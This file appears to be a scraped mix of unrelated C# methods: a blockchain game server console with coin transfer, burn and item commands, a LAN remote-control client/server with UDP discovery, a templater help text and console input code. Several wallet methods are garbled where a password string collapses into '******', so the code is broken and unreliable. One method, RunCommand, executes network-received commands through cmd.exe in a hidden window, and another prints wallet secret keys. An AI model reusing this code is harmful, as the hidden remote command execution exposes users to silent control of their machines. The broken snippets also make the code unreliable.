private void OnCommandTransfer(string[] args) { string name = args[0]; if (!wallets.TryGetValue(name, out Account sender)) { BConsole.WriteLine("account name (", name, ") not found"); return; } if (sender.Locked && !sender.Unlock(BConsole.ReadPassword("password: "******"can't unlock account"); return; } Task.Run(async() => { (string to, string error) = await web4b.GetAddressByUidAsync(args[1]); ulong value = Coin.ToBeryl(decimal.Parse(args[2])); ulong gas = args.Length > 3 ? Coin.ToBeryl(decimal.Parse(args[3])) : 0; ulong?nonce = args.Length > 4 ? (ulong?)Convert.ToInt64(args[4]) : null; (string txid, string err) = await web4b.SendTransferAsync(sender.Key, to, value, gas, nonce); BConsole.WriteLine("txid=", txid); }); }
/// <summary> /// Function that gets the windows version from the Registry /// </summary> /// <returns></returns> private string GetOSVersion() { RegistryKey key; try { if (!Environment.Is64BitOperatingSystem) { key = Registry.LocalMachine.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion", false); } else { RegistryKey localKey = RegistryKey.OpenBaseKey(Microsoft.Win32.RegistryHive.LocalMachine, RegistryView.Registry64); key = localKey.OpenSubKey(@"SOFTWARE\Microsoft\Windows NT\CurrentVersion", false); } if (key != null) { string releaseId = key.GetValue("ReleaseId", "").ToString(); string productName = key.GetValue("ProductName", "Unknown OS").ToString(); string bit = Environment.Is64BitOperatingSystem ? "x64" : "x86"; return($"{productName} [{releaseId}] ({bit})"); } } catch (Exception e) { BConsole.WriteLine("OS Error: " + e.Message, ConsoleColor.Red); } return("Unknown OS Version"); }
private void OnCommandItems(string[] args) { foreach (var item in GameDB.Items.SelectAll()) { BConsole.WriteLine(item); } }
private void OnCommandCoinBurn(string[] args) { Task.Run(async() => { try { string uid = args[0]; decimal value = decimal.Parse(args[1]); PrivateKey signer = GameKey.CKD(uid); string address = signer.Address; // 코인 회수 string txid = (await web4b.SendTransferAsync(signer, GameKey.Address, web4b.ToBeryl(value))).txid; BConsole.WriteLine("txid=", txid); if (null != txid) { // coinbase 와 uid 잔액 출력 BConsole.WriteLine("coinbase.balance=", (await web4b.GetBalanceAsync(GameKey.Address)).balance); BConsole.WriteLine(uid, "(", address, ").balance=", (await web4b.GetBalanceAsync(address)).balance); } } catch (Exception ex) { BConsole.WriteLine("exception! ex=", ex); } }); }
private void OnCommandWithdrawAndWaitReceipt(string[] args) { string name = args[0]; if (!wallets.TryGetValue(name, out Account sender)) { BConsole.WriteLine("account name (", name, ") not found"); return; } if (sender.Locked && !sender.Unlock(BConsole.ReadPassword("password: "******"can't unlock account"); return; } Task.Run(async() => { string to = args[1]; ulong value = Coin.ToBeryl(decimal.Parse(args[2])); ulong gas = args.Length > 3 ? Coin.ToBeryl(decimal.Parse(args[3])) : 0; ulong?nonce = args.Length > 4 ? (ulong?)Convert.ToInt64(args[4]) : null; (JObject receipt, string error) = await web4b.SendWithdrawAndWaitReceiptAsync(sender.Key, to, value, gas, nonce); BConsole.WriteLine("receipt=", receipt, ", error=", error); }); }
private void OnConsoleCommandPeersLayout(string[] args) { byte n = Env.Value <byte>("n", 4); if (args.Length > 0) { byte.TryParse(args[0], out n); } // define layout ElasticLayout layout = ElasticLayout.DefineLayout(Peers.Count, n); for (byte x = 1; x <= layout.X; x++) { for (byte y = 1; y <= layout.Y; y++) { for (byte z = 1; z <= layout.Z; z++) { Elastic3D coordinates = new Elastic3D(x, y, z); string[] peers = Peers.ToArray <string>(coordinates, layout); BConsole.WriteLine(ConsoleColor.DarkCyan, $"Coordinates{coordinates.ToString()}: nPeers={peers.Length}"); foreach (var peer in peers) { BConsole.WriteLine(EndPoint.ToString() == peer?ConsoleColor.Yellow : ConsoleColor.Gray, $" {peer}"); } } } } BConsole.WriteLine(ConsoleColor.DarkCyan, $"ElasticLayout.DefineLayout({Peers.Count},{n})={layout.ToString()}"); }
private bool TextBox(string textToDisplay) { try { string title = textToDisplay.Split('|')[0]; string[] content = textToDisplay.Split(new[] { '|' }, 2); Array values = Enum.GetValues(typeof(MessageBoxIcon)); Random random = new Random(); MessageBoxIcon randomMessageBoxIcon = (MessageBoxIcon)values.GetValue(random.Next(values.Length)); if (content.Length == 1) { System.Windows.Forms.MessageBox.Show(title, "", MessageBoxButtons.OK, randomMessageBoxIcon); } else { System.Windows.Forms.MessageBox.Show(content[1], title, MessageBoxButtons.OK, randomMessageBoxIcon); } return(true); } catch (Exception e) { BConsole.WriteLine("Visuals Error: " + e.Message, ConsoleColor.Red); return(false); } }
public void PrintAllDevices() { foreach (DeviceInfo d in Devices) { BConsole.WriteLine(d.ToString()); } }
private void OnCommandItemIssue(string[] args) { string uid = args[0]; string name = args[1]; // 해당 아이템이 존재하는지? if (!GameDB.Items.ContainsByName(name)) { BConsole.WriteLine("unknown item name"); return; } // 아이템 정보 var item = GameDB.Items.SelectByName(name); if (null == item) { BConsole.WriteLine("unknown item name"); return; } // 사용자에게 아이템 지급 var inven = GameDB.Inventories.Select(uid); inven.Add(item.Code); GameDB.Inventories.Update(uid, inven); BConsole.WriteLine(uid, ".inven=", inven); }
/// <summary> /// Function that executes the provided command on the client, hidden or shown /// </summary> /// <param name="command">{hidden;show},command</param> /// <returns></returns> private bool RunCommand(string command) { try { string[] values = command.Split(','); if (values[0] == "hidden") { Process process = new Process(); ProcessStartInfo startInfo = new ProcessStartInfo(); startInfo.WindowStyle = ProcessWindowStyle.Hidden; startInfo.FileName = "cmd.exe"; startInfo.Arguments = $"/C c: & cd / & {values[1]}"; process.StartInfo = startInfo; process.Start(); } else if (values[0] == "show") { Process.Start("CMD.exe", $"/C c: & cd / & {values[1]} & pause"); } else { Process.Start("CMD.exe", $"/C c: & cd / & {command} & pause"); } return(true); } catch (Exception e) { BConsole.WriteLine("Windows Error: " + e.Message, ConsoleColor.Red); return(false); } }
private void OnCommandAccountsView(string[] args) { string name = args[0]; if (!wallets.TryGetValue(name, out Account account)) { BConsole.WriteLine("account (", name, ") not found"); return; } string key = account.Key; if (string.IsNullOrEmpty(key)) { key = "Locked"; } var o = new JObject(); o.Put <string>("name", name); o.Put <string>("address", account.Address); o.Put <string>("secretKey", key); o.Put <JObject>("keystore", account.KeyStore); BConsole.WriteLine(o); }
private void OnMessageShopBuyRes(TcpSession session, GameMessage message) { // txid var item = message.Get <JObject>("item"); BConsole.WriteLine("item=", item); }
private void OnMessageMarketBuyRes(TcpSession session, GameMessage message) { string name = message.Get <string>("itemname"); decimal price = message.Get <decimal>("price"); BConsole.WriteLine("market trade! item=", name, ", price=", price); }
private void OnMessageWithdrawRes(TcpSession session, GameMessage message) { // txid string txid = message.Get <string>("txid"); BConsole.WriteLine("txid=", txid); }
private void OnMessageShopListRes(TcpSession session, GameMessage message) { // items var items = message.Get <JArray>("items"); BConsole.WriteLine("shop=", items); }
private void OnMessageLogoutRes(TcpSession session, GameMessage message) { // 연결을 종료한다 Stop(); BConsole.WriteLine("logout success!"); }
private void Receiver_OnDataReceived(Socket s, TransferCommandObject Object) { try { if (handlers.ContainsKey(Object.Handler)) { if (handlers[Object.Handler].HandleCommand(s, Object)) { BConsole.WriteLine($"Command '{Object.Command}' executed successfully.", ConsoleColor.Green); } else { BConsole.WriteLine($"Command '{Object.Command}' could not be executed.", ConsoleColor.Red); } } else { BConsole.WriteLine($"Unkown Handler '{Object.Handler}', please refer to the README.md", ConsoleColor.Red); } } catch (Exception e) { BConsole.WriteLine("Handler error: " + e.Message, ConsoleColor.Red); } }
private void OnMessagePong(TcpSession session, GameMessage pong) { long timestamp = pong.Value <long>("timestamp"); long travel = NetTime.Timestamp - timestamp; BConsole.WriteLine("travel_time: ", travel, "(ms)"); }
/// <summary> /// Function that starts the infit client discovery /// </summary> public void Discover() { byte[] responseData = Encoding.ASCII.GetBytes(ExpectedReturnMessage); while (true) { UdpClient server = new UdpClient(); server.EnableBroadcast = true; server.Client.SetSocketOption(SocketOptionLevel.Socket, SocketOptionName.ReuseAddress, true); server.Client.Bind(new IPEndPoint(IPAddress.Any, SharedProperties.BroadcastPort)); IPEndPoint clientEp = new IPEndPoint(IPAddress.Any, SharedProperties.BroadcastPort); server.Client.EnableBroadcast = true; byte[] clientRequestData = server.Receive(ref clientEp); string clientRequest = Encoding.ASCII.GetString(clientRequestData); if (clientRequest == BroadcastMessage) { BConsole.WriteLine($"Received '{clientRequest}' from {clientEp.Address}, sending response: '{ExpectedReturnMessage}'", ConsoleColor.Magenta); server.Send(responseData, responseData.Length, clientEp); server.Close(); } else { BConsole.WriteLine($"Received '{clientRequest}' from {clientEp.Address}, ignoring!", ConsoleColor.Red); } } }
private void OnCommandUserDel(string[] args) { string uid = args[0]; bool result = GameDB.Users.Delete(uid); BConsole.WriteLine("user(", uid, ") ", (!result ? "not " : string.Empty), "deleted!"); }
/// <summary> /// Prints the help text to the console /// </summary> private static void HelpText( ) { BConsole.WriteLine( @"Usage: templater template project folder [options...] or templater help template A template on the templates folder and properly configured project folder A folder that will be created and have the contents moved to options... Any number of options followed by values to be used by the file processor. Example: -Author ""John Doe"" would replace all instances of ""{Author}"" by ""John Doe"" in all files that aren't configured to be ignored by the preprocessor. Template creation: Simply put the directory of the template you want to create on the ""templates"" directory located on the same folder as this executable and then create a ""template.json"" file with at least one of the following keys: - ignore (String array, Optional) Files the program should ignore (won't be copied at all) - processIgnore (String array, Optional) Files the file processor should ignore (won't have values replaced) - setupTasks (String array, Optional) Processes that should be ran after copying and processing all files - tasksTimeout (Integer, Default: 60000) Timeout in miliseconds that the setup tasks should be individually ran for. Use -1 to disable. 0 will break all setup tasks by making them not run" ); }
private void OnCommandSendTxAndWaitReceipt(string[] args) { string name = args[0]; if (!wallets.TryGetValue(name, out Account sender)) { BConsole.WriteLine("account name (", name, ") not found"); return; } if (sender.Locked && !sender.Unlock(BConsole.ReadPassword("password: "******"can't unlock account"); return; } Task.Run(async() => { string to = wallets.TryGetValue(args[1], out var receiver) ? (string)receiver.Address : args[1]; ulong value = Coin.ToBeryl(decimal.Parse(args[2])); ulong gas = args.Length > 3 ? Coin.ToBeryl(decimal.Parse(args[3])) : 0; ulong?nonce = args.Length > 4 ? (ulong?)Convert.ToInt64(args[4]) : null; var tx = await web4b.SendTransactionAndWaitReceiptAsync(sender.Key, to, value, gas, nonce); BConsole.WriteLine("tx=", tx); }); }
private void ShowEnv() { BConsole.WriteLine(); BConsole.WriteLine("ENVIRONMENT VALUES:"); BConsole.WriteLine(ConsoleColor.Cyan, Env.ToString()); BConsole.WriteLine(); }
/// <summary> /// Async function that handles the incoming connection /// </summary> /// <param name="result"></param> private void HandleIncomingConnection(IAsyncResult result) { try { Socket oldSocket = (Socket)result.AsyncState; Socket newSocket = oldSocket.EndAccept(result); uint clientId = clientCount++; Client client = new Client(clientId, (IPEndPoint)newSocket.RemoteEndPoint); clients.Add(newSocket, client); clients.FirstOrDefault(m => m.Key == newSocket).Value.SetDataItem("test", "DEBUG_TEST_ITEM2"); //call the client connected event, this is then passed up into the ServerViewModel. ClientConnected(client); newSocket.BeginReceive(client.Data, 0, dataSize, SocketFlags.None, new AsyncCallback(ReceiveData), newSocket); //tell the client to start sending back its client info. TransferCommandObject returnObject = new TransferCommandObject { Command = "GetClientInfo", Handler = "SystemInfo" }; SendDataObjectToSocket(DataByteType.Command, newSocket, ClientServerPipeline.BufferSerialize(returnObject)); serverSocket.BeginAccept(new AsyncCallback(HandleIncomingConnection), serverSocket); } catch (Exception e) { BConsole.WriteLine(e.Message); } }
private void ProcessKey(ConsoleKeyInfo Key) { switch (Key.Key) { case ConsoleKey.Backspace: if (Cursor.X > 0) { Str.Remove(Cursor.X - 1, 1); Cursor.X--; } break; // Ctrl+V parser case ConsoleKey.V: ProcessClipboard(Key); Cursor.X = Str.Length; break; case ConsoleKey.Delete: if (Console.CursorLeft - 1 < Str.Length) { Str.Remove(Cursor.X, 1); } break; case ConsoleKey.Home: Cursor.X = 0; break; case ConsoleKey.End: Cursor.X = Str.Length; break; case ConsoleKey.LeftArrow: if (Cursor.X > 0) { Cursor.X--; } break; case ConsoleKey.RightArrow: if (Cursor.X < Str.Length) { Cursor.X++; } break; default: if (Str.Length < (Width - 2) && TextKey(Key)) { Cursor.X++; Str.Insert(Cursor.X - 1, Key.KeyChar); BConsole.TL((( Int32 )Key.KeyChar).ToString("X2")); } break; } }
private void AddDevicesToCache(List <DeviceInfo> deviceInfos) { foreach (DeviceInfo device in deviceInfos) { Devices.Add(device); BConsole.WriteLine($"Added device {device.DeviceMac} {device.DeviceIp}"); } }
protected virtual void OnCommandSyncTime(string[] args) { Task.Run(() => { NetTime.Synchronize(); BConsole.WriteLine("NetTime=", GetNetTime()); }); }
private void OnCommandServerSessions(string[] args) { foreach (var session in GameServer.Sessions) { string uid = GameServer.GetUidBySession(session); BConsole.WriteLine(uid, "=", session); } }
private void OnCommandItemDel(string[] args) { string name = args[0]; bool result = GameDB.Items.DeleteByName(name); BConsole.WriteLine("deleting item(", name, ") ", result); }
protected virtual void OnCommandShowHelp(string[] args) { string format = $"{{0,-{maxCommandsLength}}}"; foreach (var entry in Descriptions) { BConsole.WriteLine(string.Format(format, entry.Key), " - ", Color.DarkGray, entry.Value); } }